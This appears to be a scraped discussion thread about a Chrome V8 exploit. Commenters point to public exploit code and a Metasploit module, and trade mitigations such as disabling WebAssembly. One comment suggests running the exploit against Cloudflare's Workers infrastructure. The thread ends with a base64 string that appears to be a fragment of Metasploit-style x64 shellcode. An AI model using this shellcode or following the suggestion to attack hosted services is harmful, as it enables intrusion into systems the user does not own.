Our great sponsors
-
-
InfluxDB
Power Real-Time Data Analytics at Scale. Get real-time insights from all types of time series data with InfluxDB. Ingest, query, and analyze billions of data points in real-time with unbounded cardinality.
-
-
Repo leads to this one from a few days ago, looks similar, maybe can help?
https://github.com/r4j0x00/exploits/tree/7ba55e5ab034d058774...
I believe it's the same exploit, check out this reference here [0], and you should see the JS snippet
https://github.com/rapid7/metasploit-framework/pull/15007/fi...
You don’t need to know anyone at Cloudflare to run the exploit on their v8 infrastructure... you just need to sign up here: https://workers.cloudflare.com/
this will inject into every(1) executable context of every page. You still need to hotpatch workers/sharedworkers/webworkers(I disable the last one entirely).
This way you get some of the control over Chrome browser back. Not so fun fact - Google is very against users having the ability to execute arbitrary user defined code, afair Gorhill had a problem with google concerning injectable scriptlets.
(1) of course there are issues, you cant inject into https://github.com/whatwg/html/issues/1753</a> in Chrome :( so you would have to manipulate CSP to disable those.
For Chrome you can also run:
chrome --js-flags=--noexpose_wasm
More info for other browsers and platforms:
https://github.com/stevespringett/disable-webassembly
I guess the newline that echo without -n would add is harmless.
OTOH -e, depending on your shell, is either necessary (e.g. bash), or unnecessary but harmless (e.g. zsh) or insufficient (e.g. dash). If you want to print stuff portably, you need to use printf(1).
(Shameless plug: you can use <https://github.com/jwilk/printfify> to generate printf commands for binary files.)
In this case, base64 encoding is much more efficient:
/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIs